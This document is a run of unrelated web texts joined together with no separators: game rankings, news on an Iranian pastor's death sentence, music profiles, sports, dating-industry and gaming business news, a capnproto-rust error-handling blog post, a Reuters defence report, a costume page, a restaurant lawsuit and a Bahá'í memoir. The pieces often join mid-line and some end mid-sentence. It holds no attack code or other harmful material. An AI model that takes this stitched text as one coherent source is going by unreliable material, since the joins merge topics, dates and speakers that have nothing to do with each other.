The Reaper of Souls content added to Diablo III's base game is a good next act, but it's the nuts and bolts that surround that new act--like adventure mode and the numerous other little odds and ends designed to make the game more replayable--that make Diablo III stand out for me. This year, the console version of the game caught me by surprise. We'll probably never get another Marvel Ultimate Alliance, but adding direct control into Diablo III and putting it onto consoles that could handle its visual performance needs with fewer cutbacks made me feel a little more OK about the idea that MUA is dead and buried. If other games hadn't come along and dethroned it, I'd probably still be wandering around various hellscapes in search of more sticks or swords or helmets or whatever.
4. Luftrausers
Luftrausers is beautiful in its simplicity, amazing in its sense of style, and smart in its sense of progression. It also gets hard as heck. In some alternate, cooler version of history, Luftrausers was released in 1982 and stole more quarters than Defender and Stargate combined. Also, I really can't say enough about the soundtrack and the way it reforms itself based on how you build your plane. What a cool idea.
3. Middle-earth: Shadow of Mordor
Take the tower-climbing and base movement ideas of Assassin's Creed, toss in the Batman combat, and layer on a system of enemy progression and promotion that gives the world a bunch of tougher-than-average mid-bosses to take on and you've got... well, you actually have something pretty special, really. When you talk about a game being greater than the sum of its parts, you're talking about something like Middle-earth: Shadow of Mordor. Personally, I couldn't care any less about the setting and the story is average, at best. But the developers of Mordor slapped those mechanics together in a masterful way, and the Nemesis system connects them all in a way that makes the entire game feel richer and more alive. It's an impressive trick, for sure. I wasn't expecting to care much about this one and found it to be quite the surprise--for once, a publisher talked up a new mechanical system as huge and meaningful and you know what? They were actually right. Nice.
2. Far Cry 4
I feel slightly guilty about putting Far Cry 4 this high on my list, considering how similar it is to Far Cry 3. But you know what? I really liked Far Cry 3. And I keep coming back to Far Cry 4. At this point I've got separate playthroughs going on the PC and the PS4, so I can skulk around the underbrush on multiple platforms. This time around, I'm digging more into the side missions, saving hostages, hijacking supply trucks, and so on. The online co-op is a nice addition and the story and its characters are a bit more realized this time out, which certainly helps, too. I don't think I'll feel the same way about all this if Far Cry 5 is pretty much the same game for a third time, but as a one-time re-do, Far Cry 4 is astoundingly fun.
1. Call of Duty: Advanced Warfare
Here's a shot from the part of Call of Duty that nobody plays.
If you had told me at the beginning of the year that Call of Duty was to be my #1 game for 2014, there's no way I would have believed you. As word about what Sledgehammer was doing started to leak around the edges, it sounded a bit like Titanfall-but-bad. And the franchise has been slipping for a few years now. But the way Advanced Warfare makes it soldiers more mobile makes the multiplayer feel fresh and fun in a way I haven't gotten from the series in a very long time. As of this writing, I've prestiged, resetting my rank back to the beginning and starting over with a cool new "I prestiged" icon. You could say that this has just as much to do with the relative weakness of the competition this year as it does the game's own strength, but let's not take away from what the developer accomplished here. Sledgehammer has turned things around for a franchise that I figured I'd never be able to play for more than a week or two past its release ever again. In short, I'm as surprised as anyone to find this game at the top of my list, and it's left me really curious to see what Call of Duty ends up being next year. Because if it goes back to slow-ass, ground-based movement and more of that old left-trigger, right-trigger action with no nuance, you can count me out. Jetpacks or nothing from here on out, y'all. It's 2015.A trial court in Iran has issued its final verdict, ordering a Christian pastor to be put to death for leaving Islam and converting to Christianity, according to sources close to the pastor and his legal team.
Supporters fear Youcef Nadarkhani, a 34-year-old father of two who was arrested over two years ago on charges of apostasy, may now be executed at any time without prior warning, as death sentences in Iran may be carried out immediately or dragged out for years.
It is unclear whether Nadarkhani can appeal the execution order.
“The world needs to stand up and say that a man cannot be put to death because of his faith,” said Jordan Sekulow, executive director of The American Center for Law and Justice (ACLJ).
“This one case is not just about one execution. We have been able to expose the system instead of just letting one man disappear, like so many other Christians have in the past.”
More On This... Mother visits Marine veteran sentenced to death in Iran
It is also feared that Nadarkhani will be executed in retaliation as Iran endures crippling sanctions and international pressure in response to its nuclear agenda and rogue rhetoric. The number of executions in Iran has increased significantly in the last month.
“This is defiance,” Sekulow said. “They want to say they will carry out what they say they will do.”
The order to execute Nadarkhani came only days after lawmakers in Congress supported a resolution sponsored by Pennsylvania Rep. Joseph Pitts denouncing the apostasy charge and calling for his immediate release.
“Iran has become more isolated because of their drive for nuclear weapons, and the fundamentalist government has stepped up persecution of religious minorities to deflect criticism,” Pitts, a Republican, told FoxNews.com. “The persecuted are their own citizens, whose only crime is practicing their faith.”
The ACLJ has been a major driving force in keeping Nadarkhani’s case in the international spotlight. Many other advocacy groups and human rights organizations also have mounted global campaigns and petitions against the Iranian government, and experts credit Nadarkhani’s international support for keeping him alive.
The ACLJ recently launched a Twitter campaign to publicize Nadarkhani’s case, asking participants to dedicate a daily tweet to “Tweet for Youcef,” stating the number of days he has been imprisoned (currently 863) and ending the tweet with “ViaOfficialACLJ,” sending readers back to the organization’s website where they could learn more about his case.
Tweets have reached 157 countries and over 400,000 people.
Secretary of State Hillary Clinton and 89 members of Congress, along with the European Union, France, Great Britain, Mexico and Germany, have condemned Iran for arresting Nadarkhani and have called for his quick release.
Nadarkhani was arrested in October 2009 and was tried and found guilty of apostasy by a lower court in Gilan, a province in Rasht. He was then given verbal notification of an impending death-by-hanging sentence.
His lawyers appealed the decision under the premise that Nadarkhani was never a Muslim at the age of majority, and the case was sent to Iran’s Supreme Court, which upheld the lower court’s decision of execution, provided it could be proven that he had been a practicing Muslim from the age of adulthood, 15 in Islamic law, to age 19, which was when he converted.
The lower court then ruled that Nadarkhani had not practiced Islam during his adult life but still upheld the apostasy charge because he was born into a Muslim family.
The court then gave Nadarkhani the opportunity to recant, as the law requires a man to be given three chances to recant his beliefs and return to Islam.
His first option was to convert back to Islam. When he refused, he was asked to declare Muhammad a prophet, and still he declined.
Iran’s judiciary had delayed in issuing a final verdict, fearing the decision would have far-reaching political implications.
Sources say Nadarkhani has been advised by family members, lawyers and members of his church to remain silent throughout his ordeal, out of fear that authorities may use his statements against him, a strategy commonly employed by the regime.It’s a warm October afternoon in Brooklyn’s Fort Greene Park as kids, parents, and the underemployed enjoy their last few days without a jacket. Meanwhile, Jorja Smith is cozy in a sweater dress and Nikes, eyeing down a photographer’s lens. She’s only 20, but she carries herself with an uncanny confidence—not the bravado of youth so much as the grace of someone with four or five decades to lean on, someone who understands how less can be more.
On record, Smith’s vocals suggest the elegance of a seasoned professional as they eschew showy runs for startling emotional honesty. In the park, she talks about everything from skincare routines to universal health care with the air of an expert. But it’s in the little moments that you’re reminded she’s just barely out of her teens, like when she stops to ogle over a poodle mix named Pumpkin, or her rampant usage of the word “sick” to describe anything and everything she deems worthy.
Jorja Smith: "Blue Lights" (via SoundCloud)
Smith introduced herself to the world last year with “Blue Lights,” a contemplative slice of boom-bap soul dealing with the strained dynamics between Black men and the police. “Imperfect Circle,” from her 2016 debut EP, Project 11, is another politically-charged record about the seemingly endless prejudice that fuels racism. Though Black artists who take on social injustice in song are often tasked with the burden of providing solutions to such intractable problems, the way Smith grapples with their continuity instead feels courageous in itself.
Her voice, soothing and substantial, is filled with an aching that suggests she was born to counsel the world’s suffering. She’s tried on a variety of styles thus far, from boho R&B to fizzy pop to EDM, her vocals acting as strong connective tissue. So strong that when she tells me, “My voice makes the genre because I sound like me on all my songs—I’ve made my own genre: Jorja Smith,” the remark doesn’t seem especially cocky as much as a point of fact.On an appearance just now on 670 The Score, Chicago Cubs manager Joe Maddon discussed, among other things, the plan for Starlin Castro going forward, now that he’s been removed as the regular, everyday starter at shortstop.
It was a fair assumption that, if Castro is going to have a role going forward this season, he may need to increase his versatility so that he can be worked in at multiple spots. That, however, hadn’t yet been discussed publicly or explicitly.
Today, Maddon said that Castro will begin taking ground balls and working out at second and third base. It sounds like second base will probably come first, which makes sense given the late-inning substituting there that has already been taking place. Chris Coghlan’s bat is great at second base against righties, but you may prefer – as Maddon has so far, utilizing Jonathan Herrera – a better glove there in the later innings. Perhaps that glove could eventually be Castro’s.
Furthermore, against lefties, you’re still going to want to see Castro’s bat in there, and if he can start at multiple infield positions, that will give Maddon a variety of options. Sure, Addison Russell could shift back to second base, but if he’s now becoming the primary shortstop, you’d probably rather not see him bouncing around.
For now, it sounds like this is work behind the scenes, and it wasn’t entirely clear how soon we could see Castro in a game at a new position. The Cubs don’t face a lefty starter in this series against the Brewers, but they would face at least one this weekend’s against the White Sox.
UPDATE: Just to confirm it’s actually happening:
Castro starting drills at 2nd base — Jesse Rogers (@ESPNChiCubs) August 11, 2015
#Cubs Starlin Castro and Chris Coghlan working at 2B with coach Gary Jones — Carrie Muskat (@CarrieMuskat) August 11, 2015It’s Slytherin Pride Day! Make sure that you show the Slytherins in your life some appreciation today. It’s not easy wearing green and silver. We have the hardest time out of all of the Houses because of the bad reputation we have in the books. Thankfully, the Harry Potter fandom has done a lot in the past few years to reinterpret the image that Slytherins project. It has been a long journey to get to where we are now.
When I started reading the books as a kid, I knew that I was a Slytherin. I don’t fit into any of the other Houses, and I’m not even sure if I have a secondary House. Gryffindor, Hufflepuff, and Ravenclaw are all great, but I know that if I went to Hogwarts and got Sorted into a different House I would not be able to stand it. I’d go crazy if I had to spend more than an hour in the Gryffindor common room. Think of how loud it must be in there. All of that constant socialization would kill me. No, Slytherin is the best House for me with the cool, dark, and quiet common room.
There’s more to a Sorting than the common room situation, though. Personality is the most important part. The perfect Slytherin is ambitious, cunning, clever, resourceful, and determined. Being a Slytherin is like being part of a brotherhood. We look out for each other and protect our own. Of course we, like all of the Houses, have some negative characteristics associated with our House like narcissism, elitism, arrogance, and a tendency to use the Dark Arts. These negative characteristics are most of what you get to see of the Slytherins in the books. This doesn’t mean that all of the Slytherins are evil. It just means that Harry had very limited interactions with a few Slytherins who were antagonists in the story.
But we’re not bad people. We’re like our emblem, the snake: sleek, powerful, and frequently misunderstood.” – Pottermore
I joined the fandom at a very young age, and from the beginning, I was exposed to people who had very negative ideas about Slytherins. All we had at that point was the information in the first four books, which really wasn’t much. This meant that I, as well as many other young Slytherins, had a very hard time at first. We started to band together to change how being a Slytherin was interpreted. Fans wrote many essays analyzing the characteristics of all of the Houses. Fan fictions explored the lives of Slytherins from their point of view. The Harry Potter fandom completely reinterpreted how Slytherins were seen.
Things have changed a lot for us over the past decade. The last few books showed that not all Slytherins are evil. We finally got to see some of the good characteristics. Pottermore revealed new information about the House, describing us as cool, edgy, and great. There are good Slytherins and bad Slytherins just like there are both good and bad Gryffindors, Hufflepuffs, and Ravenclaws. Slytherin does not equal Death Eater, blood supremacist, or evil. Yes, there are many Slytherins who fall under one or all of these characteristics, but there are also members of other Houses who do as well. Merlin, one of the greatest wizards ever, was a Slytherin. It’s very important to show your appreciation for the Slytherins in your life because we fought so hard to get to where we are now.By Edward Chaykovsky
Retired pound-for-pound king Floyd Mayweather Jr. is not even thinking about the possibility of returning and he's not even scoping the current landscape of potential opponents.
Last September, Mayweather retired from the sport following a twelve round decision over Andre Berto at the MGM Grand in Las Vegas. It raised Mayweather's undefeated record to 49-0 with 26 by knockout.
He walked away capturing world titles at super featherweight, lightweight, junior welterweight, welterweight and junior middleweight.
At the time of his retirement, Mayweather was the WBC/WBA world champion at 147 and 154-pounds. Those world titles have since been stripped away as the sanctioning bodies are now looking to place new world champions in those positions.
Mayweather is still focused on boxing, but his drive is now firmly placed on his promotional company, Mayweather Promotions. The boxer has already had three worlds champions under his promotional banner, including the current WBC super middleweight champion Badou Jack. Mayweather is also working hard at expanding his popular TMT clothing line.
“As of right now I’m not focused on me, I’m focused on the young fighters under the Mayweather Promotions banner, and trying to help. I’m not thinking about who I could fight or who I could come out of retirement for, I just want to get back into the sport in a different way," Mayweather told TalkSport.
“I’ve been fighting my whole life and as a professional I competed at the highest level for 20 years, so it’s time for me to let the young guys take over. I will make seven figures a month for the rest of my life. I’ve made some very smart investments and I’m living very comfortably, my children are going to school and will be going to college soon, and that’s what is most important to me right now. I’m just blessed way beyond belief.”I can't find words to describe how awesome my Santa is. I wanted more than anything for my Santa to donate time, money, or items to the wounded warrior project, and so they wrote letters to wounded vets recovering in the hospital. It's what I really wanted and they delivered I couldn't ask for a better Santa.
Not only did they send letters to vets they also sent me a PS vita game, some Reese's cups, and CLAMPS! I was a little disappointed though because my Santa used a bacon scented dryer sheet box, and I honestly thought I was getting dryer sheets that made my clothes smell like bacon. Video games candy and CLAMPS! are cool and all but I kinda want bacon scented dryer sheets now.
I couldn't have asked for a better Santa.A spot of consolidation in the online dating space today, with Match Group, the subsidiary of Tinder and OkCupid owner IAC, announcing it has agreed to acquire PlentyOfFish (POF) for $575 million in cash. Match Group said it expects the transaction to close early in the fourth quarter, pending Canadian regulatory approvals.
The acquisition looks squarely focused on snagging a fresh pool of digitally active singles to feed into its portfolio of digital services. With dating apps’ free-at-the-point-of-use model superseding desktop era subscription-for-access online dating there’s greater need for businesses in the space to ramp up their volume of users to boost conversions to paid services.
Tinder, for instance, flicked the monetization switch this spring, launching Tinder Plus: a monthly subscription that gives access to features such as a Rewind option for those who swipe too quickly and regret consigning a potential match to the virtual dustbin. Such business models flourish when there’s plenty of fish for them to hook too.
Add to that, singles are a core demographic for marketing other types of self-improvement services where Match/IAC also plays.
“As more people than ever use more dating apps than ever with more frequency than ever, PlentyOfFish’s addition both brings new members into our family of products and deepens the lifetime relationship we have with our users across our portfolio,” said Sam Yagan, CEO of The Match Group, commenting on the POF acquisition in a statement. “I look forward to working closely with Markus and extending the company’s impressive growth trajectory.”
“I am confident that Match will help accelerate our growth even further,” added Markus Frind, CEO of PlentyOfFish, in another supporting statement. POF was founded back in 2003 in Canada by Frind, who bootstrapped the business, retaining control and sole ownership of the company — and is now headed for a $575M cash out (once the deal closes).
The POF acquisition adds some 3 million daily actives and +1 brand to IAC’s digital media portfolio of more than 150 brands and products, and more than 20 operating businesses. While its Match Group subsidiary covers around 50 brands in the dating, education and fitness space. Safe to say it sees plenty of cross-marketing opportunities for the new tranche of digitally active singles it’s gaining by buying POF.
IAC reports having more than 370 million unique monthly users in total and more than 2.5 billion monthly visits to its entire portfolio of sites.Forget the mysterious Darkness, it's the wallets of the cosmos that have reason to fear Bungie's Destiny. A new Destiny PS4 bundle has been revealed by Sony - yes, another one - that contains Destiny: The Taken King and a specially-designed 500GB white PS4 console with a silver map of the galaxy and gold Guardian emblem painted on it. No price was given in the announcement, but expect to find it on store shelves starting September 15.
The Destiny: The Taken King PS4 bundle will also come with a free upgrade to the Digital Collector's Edition, which you may recall was handled so poorly that Bungie apologized for the whole snafu. Presumably someone will also apologize for advertising the bundle with a controller that mixes up the placement of the d-pad and face buttons. (Although it's since been changed on the PlayStation Blog, look carefully at the header image of this article, which was the original image shown as part of the reveal).
Seen something newsworthy? Tell us!06 Apr 2014
I’ve recently made some significant changes to how capnproto-rust handles malformed values. In the old version, a task would fail when it encountered a bad input. In the new version, it instead falls back to a default value and logs an error. (edit: this is no longer exactly true; see update below.)
The changes allow capnproto-rust to fit more nicely within Rust’s mechanisms for memory safety, and I think they highlight an interesting comparison point between Rust and C++.
Recall that a value in Cap’n Proto is just a segmented sequence of bytes, with exactly the same format whether it’s on the wire, on disk, or in memory. This uniformity of representation means there is no encode/decode step, which in turn allows Cap’n-Proto-based communication to be extremely fast.
Note, however, that not all segmented sequences of bytes are valid values, and one consequence of not having a decode step is that any validation must occur on the fly. As you traverse a sequence of bytes, you might discover something wrong with it. For example, you might find a struct where you were expecting a list.
What do you do then?
The C++ implementation by default throws an exception. This lets you know immediately when something goes wrong and avoids the need for verbose explicit error handling. If you want to be robust while reading messages from untrusted sources, you can catch and recover from these exceptions. For example, you might terminate the sender’s connection and then resume with your handling of messages from other sources.
I originally imagined that capnproto-rust ought to work in roughly the same way, with Rust task failure as a drop-in replacement for C++ exceptions. However, as tempting as that approach may seem, it hits a serious hurdle: Rust’s type system. Rust guarantees that a task can only mutate data it owns or is currently borrowing, and all such data is wiped out when a task fails. Therefore, you would not be able to put any important cumulative state in a task that reads untrusted Cap’n Proto messages. Instead, you would often be forced to have a separate task that sanitizes data from Cap’n Proto messages, largely defeating the purpose of having no decode step.
At first glance, it may seem that Rust is being overly restrictive here. What would be so bad about letting us recover some of our data after a fail!()? The problem is that it’s difficult to know statically which parts of the data are safe to recover. After all, the reason for the failure was probably that some internal invariant was broken. This is true for C++ exceptions as well, but C++ lets you shoot yourself in the foot. Rust chooses a simple, restrictive policy that guarantees safety. C++ chooses a simple, permissive policy that demands care from the programmer.
So where does that leave us?
A perhaps more idiomatic way to structure the Rust implementation would be to have any possibly-failing read operation explicitly return a Result<T,DecodeError>. You could then wrap all read operations in a DecodeResult<T> monad, much like the IoResult<T> monad. This is the first thing I tried. It works, but it feels too heavyweight.
Instead, I think the best solution for the Rust implementation is to log an error and fall back to a default value when invalid input is detected. The C++ implementation has long supported this mode of operation, as an opt-in feature. Traversing Cap’n Proto message remains nearly as convenient as traversing a native struct, and you don’t ever have to reason about exceptional control flow or broken internal invariants.
Finally, note that if we ever want the old behavior back, it would be easy to add a compile-time option that would, as before, trigger task failure on malformed input. If all messages are from trusted sources, this may be a sensible option.
Based on some feedback from r/rust, I’ve implemented a new plan. Now a malformed message does cause task failure by default. For cases where that behavior is unacceptable, you can set the fail_fast field of ReaderOptions to false, on a message-by-message basis. Doing so will enable the default-value fall-back described above.
New post. I’ve switched to explicit Result -based error handling.
-- posted by dwrenshaSTUTTGART, Germany (Reuters) - U.S. Defense Secretary Ash Carter said on Wednesday that Washington and its allies had agreed to do more in their campaign to defeat Islamic State but that more risks lay ahead.
Iraqi security forces stand with an Islamic State flag which they pulled down in the town of Hit in Anbar province, April 2, 2016. REUTERS/Stringer
Carter made the comment following talks in Germany with defense ministers and representatives from 11 other nations participating in the alliance.
He said the United States greatly regretted the death of a Navy SEAL in an attack by the jihadist group in northern Iraq on Tuesday. He named the man as Petty Officer First Class Charles Keating.
“These risks will continue... but allowing ISIL safe haven would carry greater risk for us all,” he added, using an acronym for Islamic State.
“We also agreed that all of our friends and allies across the counter-ISIL coalition can and must do more as well, both to confront ISIL in Iraq and Syria and its metastases elsewhere.”
The talks included ministers from France, Britain and Germany and were planned well in advance of Tuesday’s attack, in which Islamic State fighters blasted through Kurdish defenses and overran a town.
The elite serviceman was the third American to be killed in direct combat since the U.S.-led coalition launched a campaign in 2014 to “degrade and destroy” Islamic State, and is a measure of its deepening involvement in the conflict.
Offering new details about Keating’s mission, Carter said the SEAL’s job was to operate with Iraqi Kurdish peshmerga forces to train and assist them north of the city of Mosul.
“That part of the peshmerga front came under attack... and they found themselves in a firefight,” Carter said.
In mid-April, the United States announced plans to send an additional 200 troops to Iraq and put them closer to the front lines of battle to advise Iraqi forces.
In late April, President Barack Obama announced he would send an additional 250 special operations forces to Syria, greatly expanding the U.S. presence on the ground there to help draw in more Syrian fighters to combat Islamic State.
‘GOING TO TAKE A LONG TIME’
Norwegian Defence Minister Ine Eriksen Soereide told Reuters that the ministers discussed ways to escalate the military fight against Islamic State and deal with concurrent humanitarian crises but that it was clear more hard work remained.
“There is no doubt Islamic State is under pressure... but one has to be realistic,” she said in a telephone interview. “This is difficult, this is complex. It’s going to take a long time.”
Soereide said Norway’s decision this week to send 60 troops, including special forces soldiers, to support Syrian fighters, was made possible partly by the more structured plan for coordinating the fight against Islamic State that had emerged in recent months.
Slideshow (7 Images)
The Islamist militants have been broadly retreating since December, when the Iraqi army recaptured Ramadi, the largest city in the western region. Last month, the Iraqi army retook the nearby region of Hit, pushing the militants farther north along the Euphrates valley.
But U.S. officials acknowledge the military gains are not enough.
Iraq is beset by political infighting, corruption, a growing fiscal crisis and the Shi’ite Muslim-led government’s fitful efforts to seek reconciliation with aggrieved minority Sunnis, the bedrock of Islamic State support.Marty McFly Cosplay Costumes
Are you ready to go back to the future? If so, time travel in style by cosplaying as Marty McFly. Everyone will love your nod to the classic ‘80s trilogy, and you’ll feel super rad in your costume. You can rock out wearing Marty’s stylish jean jacket, red vest, and white kicks. And with your very own Back to the Future watch, you’ll always know what time (and year) it is.
Fortunately, you don’t have to travel through time solo. Get some friends to dress up with you as Doc and Jennifer Parker. And consider taking your cosplaying to the next level by carrying around a hoverboard – everyone will want a turn on it. Check out these Marty McFly costumes to see how cool you’ll look traveling back to the future.Less than a fortnight after the Sierra Nevada/Lagunitas IPA kerfuffle, another pair of local businesses are butting heads over trademark issues. This time, San Francisco restaurants are involved.
Chubby Noodle has filed a trademark suit against Fat Noodle, the forthcoming Chinese restaurant from Saison’s Joshua Skenes and partner Adam Fleischman.
Fat Noodle is expected to open in SoMa later this year, and is regarded as one of the city’s most anticipated 2015 openings.
The popular Chubby Noodle, which currently has two locations (North Beach, est. 2011, and the Marina, est. 2014), is claiming that Fat Noodle’s chosen name is “confusingly similar” and will make customers believe that the two separate noodle-loving companies are related.
The suit — in full below — also notes that both restaurants’ logos “incorporate a stylized bowl with noodles in the bowl,” among other complaints, like unfair competition and trafficking in a domain name confusingly similar to a trademark. The lawsuit even includes a memorable line: “The word FAT is a synonym of the word CHUBBY in Plaintiff’s mark. And the only additional word in both marks — NOODLE — is identical.”
In a statement provided to Inside Scoop, the Saison Group refutes the allegations, calling them “without merit.” The group claims that Fat Noodle was conceived back in 2008, prior to Chubby Noodle’s openings; additionally, a Fat Noodle trademark was filed in October 2012.
Here is the statement from the Fat Noodle group, in response to Chubby Noodle’s claims, which are outlined in the suit:
Fat Noodle was originally conceived in 2008, we believe long before “Chubby Noodle” existed. Saison Group filed for Fat Noodle trademark in October 2012. Even though the filing was a matter of public record since 2012 Chubby Noodle first contacted (via trademark lawyers) Fat Noodle in October 2014. We thought the matter was resolved to our satisfaction back in October, as neither we nor our counsel have heard a peep since then from Chubby Noodle or its counsel. The idea that restaurateurs as recognized as Saison Group would be trading off the “Chubby Noodle” name is not only highly suspect but ridiculous. Fat Noodle is a completely different concept from Chubby Noodle, and will have very focused, clean, and traditional foods using the highest quality products available. If anything, the owners of Chubby Noodle are trying to use our good name and press to enhance their own. Their claims are without merit.
What do you think? Share your thoughts in the comments.
Here is the whole lawsuit:
[Click here if you can’t see the embedded PDF above.]
· Previously: Lagunitas Brewing sues Sierra Nevada over IPA label [Inside Scoop]
· Previously: Fat Noodle: Joshua Skenes and Adam Fleischman’s new Chinese restaurant [Inside Scoop]I wouldn’t necessarily say I’m not optimistic,” says Vince Staples. Conversations with the Long Beach, California rapper tend to quickly stray into discussions of perspective and experience — Would you believe what you believe if you weren’t who you are? — and ours, held in a boardroom in the New York offices, is no exception. “I see the worst-case scenario and I operate based off the worst-case scenario. I’ve always been like that. That’s what’s kept me out of jail. I’ve always thought of what’s the worst possible thing that could happen, and then you work up from there.” He’s wearing simple clothing: a T-shirt, pants, and sneakers of no special distinction, plus large glasses that could only be described as nerdy. Loud or soft, his voice has a certain private register to it. He’s gifted at maintaining your attention while considering his words and himself at a remove. Not in an egotistic way, but in a soberly bemused, meditative, isn’t-it-strange kind of way.
We’re convening to discuss Prima Donna, Staples’s third major-label project and second EP. Staples has a predilection for the shorter collection. His breakout mixtapes had an average length of 30 minutes; likewise, his debut album, last year’s justly laudedSummertime ’06, is broken into two halves of roughly 30 minutes each. This hardly means Staples lacks for substance: Rather, it’s a testament to his capacity to speak his piece succinctly. In an era where overproduction seems like a prerequisite to breaking through, he’s committed to concision and quality; in a world where the only exposure for a rapper is overexposure, he strives to maintain a low profile.
Of course, he’s aware — painfully aware — of the enticements offered to a young rap artist on the cusp of stardom. For at least a generation, the “rapper” has been an increasingly prominent archetype as it inexorably displaced the rock star as a hero of hedonism — “gangster gone Gatsby,” in Staples’s pithy formulation on the EP’s centerpiece “Loco.” As its title suggests, Prima Donna is an examination of this figure conducted by an artist uniquely well positioned to observe and report on it. As well as imagine: Staples’s ability to remain fully grounded while also hovering above himself is hardly limited to interviews. There’s a subtle weirdness to his art, a sense of spiritual displacement that easily gets overshadowed by more obvious characteristics such as his mordant wit, verbal technique, and realism. This strangeness is what separates Staples from his fellow West Coast Crip and sometime collaborator Schoolboy Q, with his more thorough devotion to concrete existence, just as the open-ended nature of that strangeness separates Staples from the more programmatically spiritual Kendrick Lamar. Staples doesn’t have all the answers: His declaration near the start of our hour-long conversation that “I don’t know where I’m going” is bracketed near the end by his statement that “I’ve always been comfortable not knowing.” In contrast to the future-oriented, aspirational tendencies of most rap artists and the memorial impulses that drove Summertime ’06, he’s aimed in Prima Donna to create a work of art that lives entirely in the present moment.
That moment is, it’s safe to say, troubled and often desperate. Staples’s penchant for plotting out the worst case and then building up from there is fully evident on an EP envisioning his own self-inflicted death. The examination of the ties between success and self-destruction is hardly limited to rap (it’s no accident that Wavves and Kurt Cobain are name-checked on Prima Donna, or that the track “Smile,” with its anthemic resonance, stomping pace, and guitar solo, is a rock song in all but name), and even within rap, it’s hardly a new topic. Inaugurated by the Geto Boys’ “Mind Playing Tricks on Me” (1991) and Ready to Die’s “Suicidal Thoughts” (1994), the habit has been carried on to the present in albums as disparate as Drake’s Take Care and Kendrick Lamar’s To Pimp a Butterfly. As is the case with these latter two albums, Staples’s collection is necessarily self-centered, but beyond this it operates in a different register. For Drake the self is all there is; with Kendrick, it’s the self’s capacity for redemption that matters above all else. If his words and actions are any indication, Staples isn’t interested in
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for a few years. We were then joined by John and Zoe Turner. Zoe was a teacher training student with me at Hamilton College where I was in my third year as a mature student.
While I was in Scotland, we attended a weekend school at Perth. This was Bob’s first. He had two experiences there which made a great impression on him. Hand of the Cause William Sears was visiting and was scheduled to give a talk at the school. We arrived shortly before the talk but the room was packed, with many people sitting on the floor. Some space was made for us to walk towards chairs towards the back of the room close to the window. As we neared the back of the room, a man in a white suit got up from the floor and greeted Bob with both hands. We were seated and then to Bob’s amazement this same man made his way to the front of the room where he delivered an excellent and humorous talk. He was Bill Sears (Hand of the Cause)! The humility of this man was new to Bob as his previous experience of speakers was generally of their ‘importance’ and distance from their audience.
During the weekend we had a study session and we were formed into small groups to read about the journeys of the Báb through Iran. Each person was given two minutes to say something about their ‘findings’ with a brutal cut-off. One Bahá’í I remember in our group of four was Mollie Hughes. We both ran out of time. However, Bob was used to explaining things, having been a captain in Army Reserve when he was a young man. He drew a map on a blackboard of Iran and pointed out the places, joined them and made a star! There was a great cheer and laughter from the friends there as he had made it in the time! Betty Reed came over and gave him a big hug! He was very moved by this and quite amazed at the good humour and affection afforded to him. Here was a non-Bahá’í explaining the Bahá’í stories!
About this time my father died. Due to all the troubles in Northern Ireland, my parents had planned to move away, my brother also having married and moved to Lincolnshire. My mother decided to move to Lympstone, near Exmouth. We planned to move too when Bob retired, to southern Scotland as the Hamilton area was by then very industrial. By this time Sheila had completed art school and teacher training and had become engaged to a fellow student. They decided to set off for Australia under an immigrant scheme.
After two years we had an urgent message that my mother was in hospital, having had a serious heart attack. The specialist told us that she needed to be with family as it was possible she might have another heart attack at any time. As my brother had small children, she decided to go and live with them in Grantham, and sell her bungalow. We thus changed our minds about moving in Scotland, and in 1973 bought my mother’s bungalow.
We soon located the nearest Bahá’ís in Exeter. It was the time of our Convention and the secretary, Joyce Sherwani, directed us to the venue, St. David’s Hall. We met many Bahá’ís there – Robert Scrutton (the writer and chiropractor) and his wife Dorothy (Hambling), Peter and Sheila Lee, Sherie and Houshie Rouhipour, Carole and Bryan Huxtable with their children, and Joyce Sherwani. A blind gentleman was the chairman. Bob would come with me to feasts in Exeter. Most feasts were held at Joyce’s home and Bob was happy to spend the time with her husband Nuzrat, who was also not a Bahá’í.
I was always so amazed at my husband Bob’s ability to speak to people about Bahá’u’lláh that one day I asked “Why are you not a Bahá’í? You sound as though you believe it”. He just smiled, and said “Give me time!” Our ensuing travels, I believe, gave him the time he needed.
About a year after we moved to Devon, a young couple called at our house, Jeremy and Christine Herbert. It was lovely to share feasts with them, and Christine and I joined a yoga class. We met Ruth Blair, Jeremy’s mother. Ruth, ‘Roo’, had been a widow and later remarried, becoming Roo Blair, and it was not long before she also became a Bahá’í. Very soon Jeremy and Christine had a very happy Bahá’í wedding held in Ruth’s lovely garden.
Before Jeremy and Chris left the area, Roo, Chris and I travelled by coach up to Teaching Conference in Blackpool. We shared an apartment for the weekend and Chris’ mother, Mrs Tulip, who had just become a Bahá’í, joined us. I remember that Betty Goode was serving on the NSA at the time and I remember she gave a short presentation on stage at the conference. At one of the lunch breaks I went to find a restaurant. It was pouring with rain and I hurried to one near the conference hall. I stopped to read the menu on the very steamed-up front window and was surprised to see a hand rubbing away the steam inside and then beckoning to me! Going inside, there were Betty and Ken Goode smiling and inviting me to sit with them. I had not met them in person before and I was very glad of their company. As they also lived in the South West, in Cornwall, we visited each other a lot after that and Bob enjoyed being with them.
Bob’s daughter, my stepdaughter Sheila, emigrated to Australia in 1965 while we were still living in Scotland. They married quietly in Melbourne in 1966. Their first báby, Douglas, was born in 1981 and we decided to visit them, by way of Canada. The Navai family, who had moved to Vancouver from Hamilton, Scotland, were also in touch and invited us to visit. In 1982 we flew to Vancouver and were met by them. They had a lovely home overlooking the bay. They were very kind and we attended a huge feast in their home. We had not experienced a large feast of that size before – possibly 40 people!
We were told it was only one area of Vancouver, as feasts were also held in two other areas of the city. Our room was overlooking the large living room and one night I opened the door at about 2 am and peered out to the living room, surprised to see a lighted disc on top of a cabinet. It was glowing, and a painting of ‘Abdu’l-Bahá was surrounded by the glow. This had been a souvenir plate Yousef had once bought, covered with paint and a painting of an Arab on it. Yousef had noticed that it was covering a plate of alabaster with lovely markings. When in Hamilton, he asked Bob if he could remove the painting and that work revealed a beautiful dish. Yousef had asked me if I would paint ‘Abdu’l-Bahá on the plain surface. Since then he had this dish mounted on a carved rosewood base and placed a light behind it to reveal the markings.
Following Elizabeth Greeves’ example, I wrote to Canadian Bahá’í communities to find out if we could meet them. We visited Powell river on the sunshine coast north of Vancouver and met a group of three Bahá’ís, one of whom had been a pioneer to the Queen Charlotte Islands. Bob had become interested in stories of his family in Canada, told by his brothers who had farmed there for ten years before returning to Scotland after a long drought in the Prairies.
Hawaii to Fiji
In Fiji we stayed at Nandi Airport hotel, arriving at night. We contacted the Lucas family and Mrs Lucas asked us to get in touch with a young lady who lived nearby. We made plans with her by phone to meet her at a bus stop almost opposite the hotel.
